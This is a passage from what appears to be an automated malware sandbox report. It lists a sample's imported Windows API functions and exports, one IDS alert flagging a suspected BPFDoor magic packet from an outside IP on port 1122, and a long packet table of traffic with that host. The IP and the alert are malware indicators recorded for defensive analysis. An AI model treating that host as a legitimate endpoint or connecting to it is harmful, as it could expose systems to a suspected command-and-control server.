EndMenu, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, CreateAcceleratorTableW, CopyImage, CopyIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharUpperW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BeginPaint, AppendMenuW, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, TextOutW, StretchDIBits, StretchBlt, StartPage, StartDocW, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetTextAlign, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PolyBezierTo, PolyBezier, PlayEnhMetaFile, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetRegionData, GetPixel, GetPaletteEntries, GetObjectA, GetObjectW, GetMapMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionW, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetCurrentPositionEx, GetClipBox, GetCharABCWidthsFloatW, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExtCreateRegion, ExcludeClipRect, EnumFontsW, EnumFontFamiliesExW, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateICW, CreateHalftonePalette, CreateFontIndirectW, CreateFontW, CreateDIBitmap, CreateDIBSection, CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileW, CombineRgn, Chord, BitBlt, ArcTo, Arc, AngleArc, AbortDoc
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
kernel32.dll	lstrlenW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, VerSetConditionMask, VerifyVersionInfoW, TryEnterCriticalSection, SwitchToThread, SuspendThread, Sleep, SizeofResource, SetThreadPriority, SetThreadLocale, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryW, ReadFile, RaiseException, QueryPerformanceFrequency, QueryPerformanceCounter, IsDebuggerPresent, OutputDebugStringW, MultiByteToWideChar, MulDiv, LockResource, LocalFree, LoadResource, LoadLibraryW, LeaveCriticalSection, LCMapStringW, IsValidLocale, InitializeCriticalSection, HeapSize, HeapFree, HeapDestroy, HeapCreate, HeapAlloc, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomW, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetVersionExW, GetVersion, GetUserDefaultLCID, GetTimeZoneInformation, GetTickCount, GetThreadPriority, GetThreadLocale, GetTempPathW, GetSystemDirectoryW, GetStdHandle, GetLongPathNameW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileAttributesW, GetExitCodeThread, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCPInfoExW, GetCPInfo, GetACP, FreeResource, FreeLibrary, FormatMessageW, FindResourceW, FindFirstFileW, FindClose, ExpandEnvironmentStringsW, EnumSystemLocalesW, EnumResourceNamesW, EnumCalendarInfoW, EnterCriticalSection, DeleteFileW, DeleteCriticalSection, CreateThread, CreateFileW, CreateEventW, CompareStringA, CompareStringW, CloseHandle
advapi32.dll	RegUnLoadKeyW, RegSetValueExW, RegSaveKeyW, RegRestoreKeyW, RegReplaceKeyW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegLoadKeyW, RegFlushKey, RegEnumValueW, RegEnumKeyW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegConnectRegistryW, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, ReleaseStgMedium, OleDraw, DoDragDrop, RevokeDragDrop, RegisterDragDrop, OleUninitialize, OleInitialize, CoTaskMemFree, CoTaskMemAlloc, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_GetImageInfo, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Copy, ImageList_LoadImageW, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_SetOverlayImage, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
user32.dll	EnumDisplayMonitors, GetMonitorInfoW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow
msvcrt.dll	isxdigit, isupper, isspace, ispunct, isprint, islower, isgraph, isdigit, iscntrl, isalpha, isalnum, toupper, tolower, strchr, strncmp, memset, memcpy, memcmp
shell32.dll	ShellExecuteW, Shell_NotifyIconW, DragQueryFileW
comdlg32.dll	PageSetupDlgW, PrintDlgW, GetSaveFileNameW, GetOpenFileNameW
winspool.drv	SetPrinterW, OpenPrinterW, GetPrinterW, GetDefaultPrinterW, EnumPrintersW, DocumentPropertiesW, DeviceCapabilitiesW, ClosePrinter
winspool.drv	GetDefaultPrinterW
winmm.dll	timeGetTime
d3d9.dll	Direct3DCreate9

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4a3e00
__dbk_fcall_wrapper	2	0x417dd0
dbkFCallWrapperAddr	1	0xd72f58

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T01:11:15.400506+0200	2036752	ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)	1	94.156.68.124	1122	192.168.2.7	49700	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 01:11:06.535291910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:06.540110111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:06.540177107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:06.541223049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:06.545996904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:07.142668009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:07.196496010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:08.637633085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:08.642725945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:08.642851114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:08.647969007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:08.904171944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:08.946643114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.027724028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.029014111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.037669897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.037789106 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.046909094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.278578043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.321579933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.406683922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.406927109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.412122011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.412169933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.419455051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.419507027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.427220106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.530698061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.535556078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.535715103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.540501118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778626919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778768063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778815031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778825998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778865099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.778937101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778947115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.778950930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778964043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.778997898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.779405117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779449940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779462099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779491901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.779510975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.779547930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779911995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779954910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779968023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.779993057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.780011892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.857651949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.857671022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.857752085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.865639925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865672112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865684032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865755081 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.865799904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865844965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.865904093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865957022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865968943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.865998030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.866127014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866139889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866152048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866173983 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.866187096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.866854906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866894960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866908073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.866955042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.867079973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867091894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867104053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867120028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.867145061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.867815018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867860079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867872000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.867902994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.868025064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.868036985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.868047953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.868067026 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.868110895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962227106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962261915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962282896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962295055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962366104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962438107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962450981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962462902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962476015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962496996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962518930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962671995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962790966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962802887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962822914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962951899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962963104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962975025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.962985992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.962987900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963001013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.963219881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963253975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.963439941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963516951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963551044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963553905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.963694096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963707924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963720083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963748932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.963779926 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.963846922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963859081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.963912964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.964350939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964411020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964422941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964453936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.964607954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964618921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964638948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964643002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.964652061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964675903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.964848042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.964889050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.965282917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.965354919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.965365887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.965394020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:09.965501070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.965512991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:09.965537071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.009076118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.048923016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.048953056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.048964977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049010038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.049156904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049169064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049182892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049194098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049204111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.049206972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049221039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049247980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.049447060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.049496889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.049499035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.069067955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.073843002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.073898077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.079624891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.111020088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.115880013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.115938902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.120829105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.232408047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.237251043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.237301111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.242645025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581315041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581677914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581692934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581706047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581748962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.581799984 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.581841946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581855059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581867933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581907034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.581926107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.581964970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582026958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582048893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582084894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582185984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582199097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582233906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582329035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582344055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582376003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582449913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582499027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582509995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582532883 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582704067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582736969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582745075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582747936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582781076 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.582952976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582978010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.582988977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.583010912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.583065033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.583110094 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.583201885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.583214045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.583257914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660351038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660387993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660398006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660410881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660486937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660500050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660574913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660574913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660574913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660600901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660655975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660711050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660744905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660758018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660768032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660821915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.660983086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.660995007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661021948 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661039114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661092043 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661160946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661174059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661206007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661308050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661320925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661333084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661344051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661355019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661380053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.661547899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661650896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.661663055 CEST	1122	49700	94.156.68.124	192.168.2.7
